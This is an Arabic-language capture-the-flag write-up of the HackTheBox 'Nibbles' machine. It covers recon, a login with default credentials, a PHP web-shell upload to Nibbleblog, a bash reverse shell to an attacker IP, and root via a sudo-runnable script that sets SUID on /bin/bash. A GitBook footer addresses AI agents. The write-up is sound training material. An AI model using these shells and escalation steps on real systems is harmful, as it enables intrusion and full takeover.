> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md).

# شرح Nibbles HackTheBox

{% embed url="<https://app.hackthebox.com/machines/121>" %}

{% hint style="warning" %}
**المهارات:**

* استغلال Nibbleblog - تنفيذ أوامر عن بُعد عبر رفع ملف
* استغلال امتياز Sudoers (تصعيد الصلاحيات)
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/db8fe30c2d2795b9b6a7126d72bf6b657be01b84" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/ce65c5e28b43b54d37f60f1f74893e206610e7d5" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.75 -oG allPorts
```

<figure><img src="/files/4b6bf1f2ee128bb90ea0c05b7ea19feac7821417" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (22.80)

<figure><img src="/files/9e56314c5e35956c954e2c2b81470a61cdb94717" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80 10.10.10.75 -oN targeted
```

<figure><img src="/files/6669e59dac5cda235836a4339cfd21e9964018df" alt=""><figcaption></figcaption></figure>

### المنفذ 80 - HTTP

<figure><img src="/files/fdb15a51d0b0abe18f549847d1163b3fa914894f" alt=""><figcaption></figcaption></figure>

عند فحص الشيفرة المصدرية لصفحة الويب، نلاحظ وجود `/nibbleblog` الدليل.

<figure><img src="/files/c4622423c18476e01aa21f67d82280b0a7220c3f" alt=""><figcaption></figcaption></figure>

### مدونة Nibbles - نظام إدارة محتوى

<figure><img src="/files/c27a942259978f9a7159a5569c99d81f2d2f855e" alt=""><figcaption></figcaption></figure>

يبدو أن الموقع نظام إدارة محتوى يُدعى Nibbleblog. سنستخدم `gobuster` للبحث عن أدلة إضافية:

```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="/files/902c638c78e6a78308a3105c49058465061b1577" alt=""><figcaption></figcaption></figure>

#### البحث عن ملفات PHP:

عند البحث عن ملفات PHP نجد `admin.php` ملفًا يبدو أنه يطابق لوحة تحكم إدارية.

<figure><img src="/files/2b6c6f2984a365630ca826642a0265d98bd9b0fc" alt=""><figcaption></figcaption></figure>

#### محاولة تسجيل الدخول باستخدام بيانات الاعتماد:

نحاول الاتصال باستخدام بيانات الاعتماد التالية:

* **المستخدم**: admin
* **كلمة المرور**: nibbles

<figure><img src="/files/f9761628456cb9b794588df9843c63eee5001527" alt=""><figcaption></figcaption></figure>

نجح الأمر وتمكنا من الوصول إلى واجهة الإدارة.

<figure><img src="/files/ab1f034c481cdbf981cc05e1e8477f03fa11bfb6" alt=""><figcaption></figcaption></figure>

## ثغرة Nibbleblog - رفع الملفات

نكتشف وظيفة تتيح تنزيل الصور:

<figure><img src="/files/a9301de347069fbeabe475db50eb0262fdfe7643" alt=""><figcaption></figcaption></figure>

سننشئ `cmd.php` ملفًا يحتوي على الشيفرة التالية للسماح بتنفيذ الأوامر

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

سيتم تنزيل الملف إلى `المحتوى` المجلد، حيث نجد `خاص` مجلدًا فرعيًا يحتوي على الإضافات.

<figure><img src="/files/e3ead2ed0aae164b8c8380014c1241d263768f95" alt=""><figcaption></figcaption></figure>

#### تنفيذ الأوامر عبر رفع ملف:

بفضل `cmd` يمكننا تنفيذ الأوامر. على سبيل المثال، نستخدم الرابط التالي للحصول على معلومات معرّف النظام:

<pre class="language-bash"><code class="lang-bash"><strong>/image.php?cmd=id
</strong></code></pre>

<figure><img src="/files/7996eebfc5f8c11848172a10bd507f7851958c75" alt=""><figcaption></figcaption></figure>

نحصل على وصول إلى الخادم عبر صدفة عكسية. نستمع على جهازنا عبر المنفذ 443:

```bash
nc -nlvp 443
```

ثم نشغّل الصدفة العكسية على الجهاز المستهدف:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```

<figure><img src="/files/d75d216123b0fb662f029321096761aa0ab943a0" alt=""><figcaption></figcaption></figure>

#### تثبيت الطرفية:

في الطرفية، نقوم بالخطوات التالية لتثبيت الجلسة:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية user.txt :)

<figure><img src="/files/62c0edbc02147b79b2d2b436c45074c49b61a188" alt=""><figcaption></figcaption></figure>

## تصعيد الامتيازات :

### Sudo - monitor.sh (لا يوجد مثل هذا الملف)

نكتشف ثغرة مرتبطة بتشغيل السكربتات بصلاحيات sudo.

<figure><img src="/files/cde5702e73374fe15736e78aea8327e66c148f98" alt=""><figcaption></figcaption></figure>

الـ `monitor.sh` يبدو أن الملف غير موجود في أي مكان، لكن يمكننا إنشاء سكربت سيُشغَّل كجذر. نبدأ بإنشاء الأدلة اللازمة:

```bash
cd /home/nibbler
mkdir personal
cd !$
mkdir stuff
cd !$
```

نضع `monitor.sh` الملف هناك بالمحتوى التالي:

```bash
chmod u+s /bin/bash
```

ثم نشغّل السكربت بصلاحيات sudo:

```bash
sudo /home/nibbler/personal/stuff/monitor.sh
```

هذا يسمح لك بتعديل أذونات `/bin/bash` عن طريق إضافة بت SUID. ثم ننفذ الأمر التالي للحصول على صدفة بصلاحيات الجذر:

```bash
bash -p
```

<figure><img src="/files/55657b8574b3587f7e54a56ae87a1871218c3374" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

<figure><img src="/files/5f12c9d460d16b2838c93f9e3e603a9a3c7bfdc1" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/1c7574704874e714be43696f47c15cf79bbd4cc8" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/nibbles-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
